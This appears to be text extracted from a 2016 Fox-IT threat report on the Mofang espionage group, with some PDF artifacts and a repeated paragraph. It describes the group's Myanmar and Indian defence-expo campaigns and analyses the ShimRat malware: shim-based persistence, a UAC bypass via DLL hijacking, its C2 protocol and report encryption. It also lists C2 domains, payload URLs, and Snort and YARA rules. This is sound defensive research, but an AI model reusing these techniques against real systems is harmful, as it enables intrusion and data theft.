The state owned China National Petroleum Corporation (cnpc) has been investing in this sez since early 2009 after signing a memorandum of understanding (MoU) with the Myanmar government.
This MoU, not legally binding, established the development, operation and management of an oil and gas pipeline by the cnpc.
This investment by the cnpc ensured their position to get these pipelines running from the Kyaukphyu sez to mainland China.
This pipeline would be completed in combination with a seaport to be built in the sez as well.
This port, and pipeline, would save the cnpc about 5,000 kilometers of sailing and eliminate the need to go through the Strait of Malacca.
While an agreement was signed, an MoU is not legally binding in any way and either party can always step out.
This was perhaps a fear on the Chinese part when the government of Myanmar started a consulting tender for the Kyaukphyu sez in 2013.
The idea behind this tender was to pick a consortium that would become the advisor for the Kyaukphyu sez, meaning they would oversee operations and make decisions on certain investments.
In late September 2013 this tender closed3 and in early March the results were presented4.
A consortium led by the cpg Corporation, a company originating from Singapore, was the winner and would become the sez consultant.
In 2014 the Myanmar government with the help of cpg Corporation initiated another tender, this time to set up infrastructure in the sez.
This tender closed in November and results would be put out early 2015.
The date of the publication of the tender outcome passed but no information was published.
In late June the Myanmar government still had not put out any word who would win infrastructure investments for the sez5.
One of the contenders for this tender was Chinas citic group.
At the end of June 2015 Mofang started its campaign to gather information of a specific target in relation to the sezs: the cpg Corporation.
The first attack started in early July with a ShimRatReporter payload.
5 Campaigns in Myanmar 2   http://www.aseanbriefing.
com/news/2013/06/28/spe- cial-economic-zones-in-myan- mar.html 3  http://consult-myanmar.
com/2013/10/21/kyauk- pyu-special-economic-zone/ 4   http://www.irrawaddy.com/ business/singapore-led-con- sortium-wins-kyauk- phyu-sez-consulting-tender.
html 5  http://consult-myanmar.
com/2015/06/19/lawmakers- to-seek-answers-on-stalled- kyaukphyu-sez/ Myanmar Special Economic Zones (SEZ) Kyaukphyu SEZ Thilawa SEZ Dawei SEZ fox-it  Mofang  A politically motivated information stealing adversary  May 2016  19 Figure 6 Satellite images showing Kyaukphyu SEZ developments.
Image  2016 Google Earth.
The lure used in this attack is interesting and specific to this attack and location.
Burmese characters are not representable in the current Unicode character sets.
The Zawgyi font6 was created to accommodate for this.
One can download special appli- cations to support this font.
This is usually required when submitting information on websites using the Burmese character set.
The locations where these applications are downloaded from are public blogs and other public download locations.
This need to install the Zawgyi fonts by cpg employees is what Mofang used to infect initial cpg targets: the ShimRatReporter was presented as AlphaZawgyl_ font.exe.
The reporter would call back to a domain set-up to mimic the official cpg domain cpgcorp.com.sg.
The C2 server for the initial ShimRatReporter payload was cpgcorp.org with the reporting gate being located at library.cpgcorp.org/links/images/ file/blanks.php.
There were a few attacks with ShimRatReporter using the above mentioned C2 domain.
However, a later sample showed how the Mofang group used the information gathered by the reporter for follow up attacks.
Another C2 domain, secure2.sophosrv.com , was set up, which mimicked the official secure2.sophos.com domain.
This is presumably based on information from the reports that the cpg Corporation internally used the Sophos Antivirus products.
This ShimRatReporter sample was preconfigured to download the 2nd stage payload, ShimRat, from the following two locations: library.cpgcorp.org/links/images/blanks.jpg secure2.sophosrv.com/en-us/support/blanks.jpg The downloaded ShimRat payload contacted its C2 server gate at secure2.sophosrv.
com/en-us/support/ms-cache_check.php.
One thing to note is that while all of the communications by ShimRat to its C2 server used HTTPS, ShimRatReporter operates under plain HTTP.
The actual publication of the outcome of the infrastructure tender was postponed until the start of 2016.
Early 2016 the results came in and Chinas citic group had won the tender7.
This allowed China to continue building upon their gas and oil infrastructure as well as the seaport.
6  https://my.wikipedia.org/ wiki/Wikipedia:FontWhy_ not_Zawgyi.3F 7  http://thediplomat.
com/2016/01/chinese-com- pany-wins-contract-for-deep- sea-port-in-myanmar/ 20  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 5.2 Earlier campaigns in Myanmar Myanmar has been the target of Mofangs attacks for years before the campaign related to the sez.
Throughout the years, the Mofang group has compromised countless servers belonging to government or other Myanmar related organizations, in order to stage attacks.
A few notable ones are described below.
The earliest activity from Mofang in Myanmar dates back to around May 2012 when they attacked a government entity.
Interestingly they abused a Myanmar government server they had compromised earlier, to function as the C2 server.
It was the website of the Ministry of Commerce located at commerce.gov.mm.
The C2 gate was located at /templates/css1/logon.php.
Another compromised server from the Myanmar government used to stage a ShimRat payload that was seen around early June 2015.
The payload for this campaign was located at 203.81.162.178/text.txt.
The ip address noted here hosted the official government website of the Myanmar port authorities at the time.
The C2 server for this campaign was dns.undpus.com.
Figure 7 The Myanma Port Authority website was used to stage at attack in June 2015 In late September 2015 Mofang used the website of Myanmars national airline hosted at www.flymna.com for an attack against an organization in Myanmar.
The payload was located at www.flymna.com/sites/photo.tar and contained ShimRatReporter.
After executing it would send its report to a C2 server at dns.undpus.com but also download a payload from a preconfigured location.
This location was: dns.undpus.com/myanmar.jpg.
fox-it  Mofang  A politically motivated information stealing adversary  May 2016  21 Figure 8 The website of Myanmars national airline was used to stage an attack in September 2015 22  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 6.1 Attack on Indian defense expo exhibitors The International MSME Sub-Contracting  Supply exhibition for Defence  Aerospace Homeland Security (MSME DEFEXPO) is an annual Indian exhibition and confer- ence.
It allows MSMEs8 to show their current and new capabilities in the defense and aerospace technology to various government agencies.
Over the years, its exhibitors have been a continuing target for the Mofang Group.
In 1991 India initiated its Look East policy9 aiming to strengthen their relations with Southeast Asian countries, and to become a counterweight against the influences of China in the region.
In addition, India, just like China, has a strategic interest in and strong relations with Myanmar.
For example, the countries hold joint military exercises.
Additional insight into the activities and capabilities of the MSMEs at the expo would be strategically advantageous for China.
Please note that there might be other reasons, why the Mofang Group was interested in this expo.
The changes are about even that the targets for the MSME DEFEXPO campaign were a selected group of exhibitors.
They were targeted with spear phishing emails containing Word documents or Excel sheets enticing them to install the ShimRat malware.
An example of the 2013 lure is shown in Figure 10.
In 1991 India initiated its Look East policy9 aiming to strengthen their relations with Southeast Asian countries, and to become a counterweight against the influences of China in the region.
In addition, India, just like China, has a strategic interest in and strong relations with Myanmar.
For example, the countries hold joint military exercises.
Additional insight into the activities and capabilities of the MSMEs at the expo would be strategically advantageous for China.
Please note that there might be other reasons, why the Mofang Group was interested in this expo.
Figure 10 Excel document used to infect Defexpo 2013 exhibitors This chapter highlights a few campaigns and attacks that provide further illustration to Mofangs motives and attack method.
6  Other notable campaigns and attacks Figure 9 Exhibitors at the Indian MSME DEFEXPO are routinely attacked 8  Micro, Small and Medium sized Enterprises 9  https://en.wikipedia.org/wiki/ Look_East_policy fox-it  Mofang  A politically motivated information stealing adversary  May 2016  23 The Excel sheet in the 2013 campaign contained an embedded ShimRat sample bea- coning out to a C2 server hosted at store.outlook-microsoft.net with the panel gate being located at /en-us/c/index.php.
The 2013 campaign didnt feature a target specific C2 infrastructure, but actually used infrastructure from the global campaign written about in paragraph 6.4.
The probable reason for this becomes clear when looking at a campaign that was running at the same time as the MSME DEFEXPO 2013.
The attendees of the ESSENTIALS OF 21st CENTURY ELECTRONIC WARFARE COURSE, a training course for government employees in the US, held in Alexandria, Virginia were also targeted.
The lure in this case was the official registration form send out to attendees as shown in Figure 11.
The infrastructure was set up to aid in two campaigns taking place at the same time.
Figure 11 Document used to infect attendees of the Essentials of 21st Century Electronic Warfare Course held in Virginia, US A year later, the MSME DEFEXPO 2014 was scheduled and again exhibitors were being targeted.
This time the campaign and infrastructure was setup specifically for this attack.
Lures were send out via mail once again, similar to the 2013 campaign.
This time the C2 domain followed their general methods as described in chapter 3: it mimicked the MSME DEFEXPO website.
They used images.defexpoindia14.com for their C2 communication and the panel gate was hosted on /se/index.php.
24  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 6.2 Attack on seg In December 2012 Mofang started a campaign against a new target, called seg for the purpose of this report.
The victim was compromised with at least ShimRatReporter as the 2nd stage ShimRat payload was preconfigured with the local proxy of this organization.
The configuration for this build was interesting and reflects the method as described in chapter 3.
Table 1 contains a subsection of the configuration for this build.
Configuration items Configuration values Campaign ID SCH C2 Password SCH2233 C2 Domain support.f--secure.com C2 Gate location /cache/cache.php Proxy type HTTP Proxy proxy.seg.local:8080 Service name mshelpsrvs Service title Windows Help Services Service description Enables Help and Support Center to run on this computer.
If this service is stopped, Help and Support Center will be unavailable.
Table 1 A subsection of the configuration build for the seg attack From the configuration it can be determined that the company was running F-Secure Antivirus and Mofang registered the domain to not appear suspicious.
The preconfig- ured proxy and the C2 domain shows the targeted nature of this campaign.
The fake F-Secure domain was in control of Mofang until March 2014, when they transferred the domain to a domain broker.
F-Secures brand monitoring picked up on the domain and bought it from this domain broker after it became available.
6.3 Attack using a Citrix lure In September 2015 Mofang launched another attack.
As per their usual modus operandi, this attack relied on social engineering to infected targets.
For this campaign the Mofang group used a domain that used to belong to a company called Citrix.
The website citrixmeeting.com was under control of Citrix until they let it expire on April 3rd, 2015.
The website used to hold information about the conferencing products from Citrix.
Almost 4 months after the domain expired, on July the 27th, the Mofang group regis- tered the domain and set it up for their newest campaign.
A new version of ShimRat was built on the 7th of September, uploaded to the server and only days later used in a new campaign.
The payload was hosted at http://www.citrixmeeting.com/download/ livechat.exe and contained a newly packaged ShimRat sample and a new dll hijacked program.
They upgraded their dll hijacking program away from Norman and McAfee, which may be because they realized that a component of Norton Security (version fox-it  Mofang  A politically motivated information stealing adversary  May 2016  25 22.2.0.31 specifically) was vulnerable to dll hijacking of the msvcr110.dll dll which is part of the C runtime provided by Microsoft.
The ShimRat sample contacted a C2 server located at api.officeonlinetool.com, the panel gate was hosted on /index.php.
6.4 The global campaign While the Mofang group has specific targets and runs campaigns focused on them, they also run something that fox-it calls the global campaign.
This global campaign is a set of servers functioning as infrastructure with domains impersonating Microsoft and Google services to which a wide variety of victims is connected.
The global campaign was observed before the ShimRatReporter tool and this makes sense given that the reporter is used to gather specific information about target infrastructures.
Prior to its availability, the group could only use more generic C2 domains.
While many attacks can be traced back to the exact targets because Mofang emulates a targets environment, the exact victims of the global campaign are much more difficult to identify.
It appears Mofang uses the more generic service domains to play it safe.
The global campaigns also share a lot of infrastructure across the different domains.
Looking at the C2 domains in Table 2 that fox-it has classified as the global campaign, it becomes clear that the domains of Microsoft and Google services are used for imitation purposes: Typosquad Google domains Typosquad Microsoft domains account.google.com.gmgoogle.com ie.update-windows-microsoft.com mail.upgoogle.com support.outlook-microsoft.com help.outlook-microsoft.com oem.outlook-microsoft.com windws-microsoft.com store.outlook-microsoft.com Table 2 Global campaign C2 domains 26  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 7.1 ShimRat ShimRat is a custom developed piece of malware known as a RAT, Remote Administration Tool.
It has among others standard capabilities for filesystem interaction.
The malware was originally built in 2012 and its features were expanded over the years.
The artifacts left in the first samples, are a good indicator that the project has been started in 2012.
Multiple pdB paths were seen in the early versions of ShimRat.
These PDB paths are not visible in the latest versions of ShimRat, due to how the samples are prepared.
The PDB paths are either stripped or filled with different paths.
The terms InstallScript and ServiceApp in the pdB paths are the two parts that malware consists of.
InstallScript is the first stage of ShimRat which takes care of persistence, while ServiceApp is the second stage of the malware which performs C2 communication and exposes the infected machine to the operator.
Over the years the developers of ShimRat have extended the malware with additional functionality, such as: Persistence: originally ShimRat only supported registry startup keys and service creation in order to become persistent.
Additionally, the authors developed the capability of installing a shim database for persistence in 2015.
Privilege elevation: a method to bypass Windows uac to gain higher privileges was implemented.
The technique relied on the Migwiz Windows component.
Migwiz is an application used in Windows which automatically runs in high integrity mode10.
The hijacked DLL will also run in this mode allowing a uac bypass, one of many methods that exists11.
This method was not developed by the ShimRat authors, but was public and the changes are even they simply copied it into their malware.
One interesting technique theyve been using is dll hijacking of antivirus components.
ShimRat samples delivered from around end 2013/start 2014 on, abused legitimate antivirus applications to hijack.
The reason for this is to hide itself even more.
When a user would check the running process list, a legitimate Antivirus process would appear to be running.
The exact list of applications is available in paragraph 9.4.
The Mofang group has a preference for Antivirus products only.
fox-it has not observed any other vulnerable application except for antivirus products being used.
7 Preferred tools z:\project2012\remotecontrol\winhttpnet\amcy\app\win7\installscript\objfre_wxp_x86\i386\InstallScript.pdb z:\project2012\remotecontrol\winhttpnet\amcy\app\win7\serviceapp\objfre_wxp_x86\i386\ServiceApp.pdb z:\project2012\remotecontrol\winhttpnet\cqgaen\app\installscript\objfre_wxp_x86\i386\InstallScript.pdb z:\project2012\remotecontrol\winhttpnet\cqgaen\app\serviceapp\objfre_wxp_x86\i386\ServiceApp.pdb 10  http://blog.cobaltstrike.
com/2014/03/20/user-ac- count-control-what-penetra- tion-testers-should-know/ 11  http://www.labofapenetra- tiontester.com/2015/09/ bypassing-uac-with-power- shell.html fox-it  Mofang  A politically motivated information stealing adversary  May 2016  27 Mofang packages the anti-virus components with 2 files in order to run ShimRat.
One is the dll to hijack.
The second file is a compressed ShimRat core dll with shellcode in a .dat file.
When the antivirus component is started the dll is loaded which in turn maps the .dat file in memory.
The shellcode subsequently decompresses the core of ShimRat which comes in the form of a dll and executes it.
Usually the .dat file has the same name as the dll file.
The way samples arrive at targets is usually in a packed form containing a lure document.
The initial payload a target receives, will extract a lure document, present the user with this, but also extracts and runs a 2nd stage loader which will drop ShimRat on the target system.
This 2nd stage loader in the current version of ShimRat and contains the antivirus component and as well as the two auxiliary files containing the ShimRat core.
7.1.1  Installation  Persistence One of the first things ShimRat does while active is making sure it becomes persistent on the system.
Before actually activating any methods of persistence it will try to elevate privileges if needed it is not running with administrative privileges.
ShimRat elevates its privileges by performing a dll hijacking attack on vulnerable Windows components.
Specifically, it abuses the migwiz.exe program by hijacking cryptbase.dll.
ShimRat will try to gain higher privileges, but will continue to execute whether the elevation was successful or not.
This elevation would make sure no uac popups would be shown to the victim.
Would the user get uac popups they would appear to be coming from the antivirus product ShimRat hijacked, as mentioned before.
ShimRat has three methods of becoming persistent on a system: 1 Installing a registry startup key 2 Installing a service 3 Install a shim Figure 12 Shimrat and anti-virus components 28  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 Internally ShimRat uses an installation configuration which is set by the builder.
The persistence configuration structure looks as follows (see Table 3): Configuration items Service name Service description Service title Installation folder Installation filename Injection target process Table 3: Persistence configuration structure.
The installation mode in the configuration structure, is a switch to decide which per- sistence method to use.
If the switch is set to 1 it will become persistent by installing a service.
If it is set to 2 it will install a shim to become persistent.
As a fall back method, if either installing a service or installing a shim would fail, it will use a registry startup key for persistence.
7.1.2  Persistence through a registry startup key As explained, when persistence through a service or shim fails, ShimRat falls back to a registry based startup-key.
It takes the installation filename variable from the configuration and uses this as the key name.
The file path is based on the installation file path variable in the configuration.
The key is registered under: HKCU\Software\microsoft\windows\CurrentVersion\Run 7.1.3  Persistence through a service ShimRat will create a new service under Windows using the information from the instal- lation configuration shown in paragraph 7.1.1 above.
This operation is performed through the Windows api functions available for registering, updating and starting of services12.
It will start by stopping and removing any old service (if any exist).
ShimRat will register a new service using the information from the persistence configuration and start it, after checking and removing any old services.
7.1.4  Persistence through shims13 Over the years Microsoft has gone to extraordinary lengths to ensure backward compatibility on its Windows platform.
One of the outcomes of this process was the creation of the Application Compatibility Framework (acf) which helps ensure this compatibility.
Through this framework, special fixes known as Microsoft Fix Its or just fixes can be run which can help mitigate security or compatibility problems.
12  https://msdn.microsoft.
com/en-us/library/ windows/desktop/ ms685141(vvs.85).aspx 13  https://technet.microsoft.
com/en-us/en-en/library/ dd83764428vws.1029.
aspx fox-it  Mofang  A politically motivated information stealing adversary  May 2016  29 The way the acf works is that when a process is started, it will determine if the newly created process needs to be shimmed.
If this is the case, a special flag is raised to indicate this.
Based on this flag the operating system will load the installed Shims and apply the required fixes.
This means shims are simply hot patching processes on the fly.
Most predefined fixes released by Microsoft are stored in: WINDIR\AppPatch\sysmain.sdb Any fix not defined in this sdb file, is called a Custom Fix and can be installed by anyone with knowledge of the workings of this system.
ShimRat uses a shim to perform an application fix using an InjectDLL fix.
An InjectDLL fix will inject a specified dll into a target process, this allows the code from the dll to run in the context of the target process.
ShimRat has implemented this shim for both 32 and 64 bit platforms.
In technical terms, the fix remains the same InjectDLL fix, but the dll ShimRat injects is different.
Normally when an official Fix It shim is installed it would be an official update or patch of some kind and this would be registered as being installed as an update.
This means the shim is visible in the software manager in Windows under the Windows component section.
ShimRat shims do not appear in the software manager due to the way it installs the shims.
Normally when a shim is installed, it is performed via the official installer which will register the Shim and place it in the correct location.
ShimRat performs the registration of the shim manually, bypassing the official installation and in turn making sure that it wont show up under the installed software in Windows.
The shim databases are installed in either of two locations: WINDIR\AppPatch\Custom\ (32 bit) WINDIR\AppPatch\AppPatch64\Custom\ (64 bit) After placing the files on disk, ShimRat manually loads the shims into the shim database by first registering it in the registry at two specific locations as shown in Figure 13.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB 30  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 Figure 13 An example of a 32-bit ShimRat infection with shims After filling the registry keys, ShimRat calls SdbRegisterDatabaseEx to register the database and finally ShimFlushCache to flush the cache and enable the shim.
From this point on, every newly started instance of svchost.exe will be shimmed and ShimRat will be.
It locks itself with the use of mutexes, to ensure there arent multiple copies of ShimRat running.
ShimRat mutexes are a combination of the string Global\\qwe followed by one or more numbers.
7.1.5  Built-in capabilities of ShimRat ShimRat has a set of inbuilt capabilities to give the operators control over their victim.
The following is a list of capabilities seen in one of the most recent samples.
The operators are currently able to use ShimRat for among others: Enumerate connected drives List, create and modify directories Upload and download files Delete, move, copy and rename files Execute programs Execute commands Uninstall itself 7.1.6  Command and control communication ShimRat communicates over HTTP to its C2 server.
While versions since 2015 have seen the introduction of HTTPS usage, ShimRat does not appear to verify the SSL certificate of C2 servers, which are generally self-signed certificates.
ShimRat does have the ability to use pre-configured HTTP proxies, which is useful in situations where a victim has forced local proxies in the network with authentication.
fox-it  Mofang  A politically motivated information stealing adversary  May 2016  31 Like with persistence, ShimRat holds a C2 communication configuration internally.
The structure of the configuration looks as follows (see Table 4): Configuration items Primary C2 location Secondary C2 location Campaign ID C2 server password Proxy Proxy username Proxy password Table 4: C2 communication configuration.
ShimRat communicates with its C2 server through a pull and push mechanism.
ShimRat constantly asks its C2 server for commands and once it has executed a command, it will send back the result.
The structure of the commands exchanged with the C2 server is quite simple: Every command is encapsulated within two tags, currently these tags are the word Data which is added in front of and at the end of the command string.
In the past this used to be the string Yuok as described in paragraph 2.1.
Every command has a unique ID.
These IDs are notated as  ID number The final structure of the commands send to and from the C2 server is: data tagcommand IDcommand datadata tag For example, when ShimRat first connects to a C2 server it registers itself.
This initial registration looks like this: Data00DEMO-PC-0800232979FD-SYSTEM.test.0.0.01.1WinXP Professional SP3 (2600) (x86)Data The aforementioned example shows the two Data tags at the start and at the end.
The command id is 00, the registration command, followed by the associated data.
In this case, the data comprises basic information including the machine name, DEMO-PC, system information, 0800232979FD-SYSTEM, the C2 password, test, its version and the operating system version and whether it is a 32 or 64bit operating system in the last part.
ShimRat will continue sending the initial check-in data until the C2 server responds with Data.
Once it has received this response, which indicates it registered successfully, it will start polling for new commands to execute.
32  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 It polls the C2 for commands by sending command id 02 in combination with its system information: Data02DEMO-PC-0800232979FD-SYSTEMData The C2 server will respond with one of 3 possible tags: Atad: returned when there is nothing to do for the malware.
ShimRat will sleep for a specified time period before polling again.
Aatd: returned when the C2 does not recognize the system information.
It forces ShimRat to register itself again.
After registering itself again ShimRat will continue polling the C2 server for commands.
Data: returned when a command is available.
The whole response string would actually be Datacommand ID where ShimRat would parse the command id, execute the desired command and send the result back to the C2.
Details of which command ID maps to which command can be found in Table 5.
Table 5 lists the possible command ids that a C2 server could send (the Initiating command id) and the corresponding responses by ShimRat (the Responding command id).
Some commands will result in one or more different responding ids based on the data ShimRat has to send back.
Please note, that there are checks when executing these commands where the key- words Atad Aatd and Data are used to evaluate the outcome of the command.
These states are not described or shown in the table, nor does the table include command ids 00 and 01 which are used for initial registration and command polling respectively.
Function Initiating command ID Responding command ID(s) Enumerate drives 03 04 List directory 06 07 Download file 09 0b, 24 Upload file 0c - Delete file 16 - Create directory 31 - Copy file 29 32 Move file 26 32 Rename file 28 - Execute file 17 - Command shell 11 12, 15 Uninstall 22 - Table 5 Overview of ShimRat functions mapped to command IDs fox-it  Mofang  A politically motivated information stealing adversary  May 2016  33 7.2 ShimRatReporter 7.2.1  Summary ShimRatReporter is a tool first seen in late 2014.
The goal of this tool is to gather important information about the target infrastructure.
More details about this are available in paragraph 7.2.2.
Additionally the tool can be configured to download a 2nd stage payload from 1 or 2 preconfigured locations.
The idea behind ShimRatReporter is to be able to deliver customized ShimRat builds.
This can be seen in the preconfigured proxy configura- tion in some of the attacks.
In these attacks, the ShimRat builds that were sent to the target machines were already configured with the credentials for the local proxy in the target network.
7.2.2  Report generation ShimRatReporter generates a text based report to send out to its C2 server.
The report is constructed with the following sections.
Section Contents Report header The header contains a timestamp at which the report was made and the local computer name.
Network information The first section is titled IP-INFO and contains information about the Windows IP configuration.
This includes local IP information, routing tables, mac address, gateway, dns servers and whether the network has dHcp enabled.
The second section is titled Network-INFO and contains a list of all the tcp and udp endpoints (similar to the output of the Netstat command) by formatting the output of the GetExtendedUdpTable and GetExtendedUdpTable Windows api functions.
Operating system information This section is titled OS-INFO and contains the operating system name and specific windows version including any service packs if they are installed.
Active processes information This section is titled Process-INFO and contains a list of all the running process on the machine including their pid and parent pid.
Browser and proxy configuration This section is titled Browser-INFO and contains the User-Agent of the default browser as well as any proxy configurations set in the registry.
Active user sessions This section is titled QueryUser-INFO and contains a list of active sessions on the machine enumerated with the WTSEnumerateSessions Windows api function.
User accounts This section is titled Users-INFO and contains a list of the non-privileged and privileged accounts that are available on the machine.
Installed software This section is titled Software-INFO and contains a list of all the installed software on the machine excluding any Windows updates / components.
Report footer The footer of the report contains some additional information on whether the 2nd stage payloads, if configured, were successfully downloaded and executed.
34  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 7.2.3  Command and control communication ShimRatReporter communicates over HTTP with a preconfigured C2 server.
The gener- ated report is first compressed using lz compression applied with the RtlCompressBuffer Windows api function.
After compression, the data is encrypted with a combination of shifting and xor using a static key.
The key hardcoded in all versions seen in the wild is NetMeter.
After a report is generated, the raw buffer with the data is taken and iterated through using an index.
If the index is divisible by two, the value in the buffer is xor-ed.
If its not divisible by two, the value of the key is added to the value in the buffer.
This is probably best explained by showing the code for the decryption tool that fox-it has created: For every element in the encrypted report data, the index is checked to be divisible by two, using the modulo operation to wrap the key.
If this is true, the value in the encrypted report is xor-ed with a value from the static key.
If it is not divisible, it will subtract the ordinal key value from the current element in the encrypted report.
In the encryption process the subtraction is just an addition.
The report is then sent out in a post request to a preconfigured C2 server and a gate path.
The url parameter filename is added to the post url.
Its value is the computer name, also listed in the report, and an id.
The C2 servers responds with a 200 ok when the report has been successfully received.
Figure 14 Example ShimRat report upload fox-it  Mofang  A politically motivated information stealing adversary  May 2016  35 Additionally, ShimRatReporter can be configured to download a payload.
Reporting is default but payload downloading is optional.
Payloads are downloaded from preconfigured locations.
The payloads are encrypted in a similar way.
Figure 15 shows an example payload download from the same campaign as shown in Figure 14.
Figure 15 Example ShimRat payload download 36  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 The following sections contain iocs for infrastructure communication from the Mofang group from 2012 until the end of 2015.
There are duplicate domains and ips in the list, due to an overlap in domains for the ips and a domain having pointed at multiple ips.
8.1 Snort signatures The following Snort signatures provide coverage for the known HTTP based ShimRat and ShimRatReporter C2 communication protocols.
One thing to keep in mind is that some variants of ShimRat communicate over HTTPS, which these rules will not cover.
These IOCs are also available from our Github repository located at: https://github.
com/fox-it/mofang/ 8 Network based detection (IOCs) alert tcp HOME_NET any - EXTERNAL_NET HTTP_PORTS (msg:FOX-SRT - Trojan - ShimRat check-in (Data) flow:established,to_server content:POST http_method content:.
php HTTP/1.
content:0d0a0d0aData fast_pattern:only content:Content-Type content:Referer: content:Cookie: content:0d0a0d0a pcre:/Data\\\d\d/R content:Data isdataat:1,relative threshold: type limit, track by_src, count 1, seconds 600 classtype:trojan-activity reference:url,blog.fox-it.com/2016/06/15/mofang-a-politically- motivated-information-stealing-adversary/ sid:21001854 rev:4) alert tcp HOME_NET any - EXTERNAL_NET HTTP_PORTS (msg:FOX-SRT - Trojan - ShimRat check-in (php) flow:established,to_server content:POST http_method content:.php HTTP/1.
content:0d0a0d0aphp fast_pattern:only content:Content-Type content:Referer: content:Cookie: threshold: type limit, track by_src, count 1, seconds 600 classtype:trojan- activity reference:url,blog.fox-it.com/2016/06/15/mofang-a-politically-motivated-information- stealing-adversary/ sid:21001855 rev:4) alert tcp HOME_NET any - EXTERNAL_NET HTTP_PORTS (msg:FOX-SRT - Trojan - ShimRat check-in (Yuok) flow:established,to_server content:POST http_method content:.php HTTP/1.10d0aUser-Agent:  fast_pattern:only content:Content-Type content:Referer: content:Cookie: content:0d0a0d0a pcre:/(php)?Yuok\\\d\d/R content:Yuok isdataat:1,relative threshold: type limit, track by_src, count 1, seconds 600 classtype:trojan-activity reference:url,blog.fox-it.com/2016/06/15/mofang-a-politically- motivated-information-stealing-adversary/ sid:21001856 rev:4) alert tcp HOME_NET any - EXTERNAL_NET HTTP_PORTS (msg:FOX-SRT - Trojan - ShimRatReporter check-in content:POST http_method content:Accept-Encoding: utf-80d0a fast_pattern uricontent:.php?filename content:Accept: / content:Referer content:Content- Type threshold: type limit, track by_src, count 1, seconds 600 classtype:trojan-activity reference:url,blog.fox-it.com/2016/06/15/mofang-a-politically-motivated-information-stealing- adversary/ sid:21001857 rev:4) https://github.com/fox-it/mofang/ https://github.com/fox-it/mofang/ fox-it  Mofang  A politically motivated information stealing adversary  May 2016  37 Domain IP First seen Domain 116.251.216.227 October 2014 video.today-nytimes.com 178.209.52.72 May 2014 116.251.216.227 December 2013 23.89.200.128 October 2013 23.89.201.173 October 2013 api.officeonlinetool.com 176.31.220.160 September 2015 ie.update-windows-microsoft.com 116.251.219.142 November 2015 116.251.216.72 October 2015 49.213.18.15 June 2015 116.251.210.77 March 2015 116.251.216.227 July 2014 178.209.52.72 May 2014 travel.tripmans.com 38.109.190.55 November 2014 dns.undpus.com 107.191.61.105 May 2015 secure2.sophosrv.com 178.209.52.72 May 2015 update.nfkllyuisyahooapis.com 117.17.10.10 November 2012 www.go-gga.com 61.250.92.79 January 2013 images.defexpoindia14.com 178.209.51.164 August 2013 update.micrdsoft.com 151.236.14.53 July 2013 support.f--secure.com - December 2012 store.outlook-microsoft.net 116.251.216.227 October 2014 178.209.52.72 April 2014 151.236.14.53 September 2013 Domain IP First seen b.support.outlook-microsoft.net 178.209.52.72 Augustus 2013 logon.had-one-job.com - September 2013 www.avgfree.us 210.245.85.83 April 2013 mail.upgoogle.com 116.251.219.142 December 2015 116.251.210.77 March 2015 116.251.216.227 Augustus 2014 178.209.52.72 July 2014 50.117.47.66 June 2014 50.117.47.67 June 2014 192.157.229.164 March 2014 198.98.103.7 Augustus 2013 wbmail.city-library.com 103.229.124.1 June 2015 112.213.117.52 May 2015 116.251.216.165 September 2014 103.39.78.131 April 2014 192.157.229.164 March 2014 library.cpgcorp.org 38.109.190.55 May 2015 8.2 Domains  IP addresses The following domains and associated ips have a lot of historical data.
Keep in mind the listed domains could be on shared hosting machines or compromised websites.
Please make sure to correlate any hits from the table below with the listed samples and their configurations in section 10.1.
This table only contains domains setup by the Mofang group themselves, it does not contain some of the compromised shared hosting domains listed in some samples in paragraphs 9.2 and 9.3.
38  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 9.1 yara rules The following yara rules can be used to detect the ShimRat and ShimRatReporter samples.
These IOCs are also available from our Github repository located at: https://github.
com/fox-it/mofang/ ShimRat 9 Host based detection (IOCs) rule shimrat  meta: description  Detects ShimRat and the ShimRat loader author  Yonathan Klijnsma (yonathan.klijnsmafox-it.com) date  20/11/2015 strings: dll  .dll dat  .dat headersig  QWERTYUIOPLKJHG datasig  MNBVCXZLKJHGFDS datamarker1  Data00 datamarker2  Data01csData cmdlineformat  ping localhost -n 9 /c s  nul demoproject_keyword1  Demo demoproject_keyword2  Win32App comspec  COMSPEC shim_func1  ShimMain shim_func2  NotifyShims shim_func3  GetHookAPIs condition: (dll and dat and headersig and datasig) or (datamarker1 and datamarker2) or (cmdlineformat and demoproject_keyword1 and demoproject_keyword2 and comspec) or (dll and dat and shim_func1 and shim_func2 and shim_func3)  https://github.com/fox-it/mofang/ https://github.com/fox-it/mofang/ fox-it  Mofang  A politically motivated information stealing adversary  May 2016  39 ShimRatReporter rule shimratreporter  meta: description  Detects ShimRatReporter author  Yonathan Klijnsma (yonathan.klijnsmafox-it.com) date  20/11/2015 strings: IpInfo  IP-INFO NetworkInfo  Network-INFO OsInfo  OS-INFO ProcessInfo  Process-INFO BrowserInfo  Browser-INFO QueryUserInfo  QueryUser-INFO UsersInfo  Users-INFO SoftwareInfo  Software-INFO AddressFormat  02X-02X-02X-02X-02X-02X proxy_str  (from environment)  s netuserfun  NetUserEnum networkparams  GetNetworkParams condition: all of them  40  fox-it  Mofang  A politically motivated information stealing adversary  May 2016 9.2 ShimRat samples The following list of samples includes the core of ShimRat as well as the loader dll in the cases where ShimRat relied on dll hijacking to start.
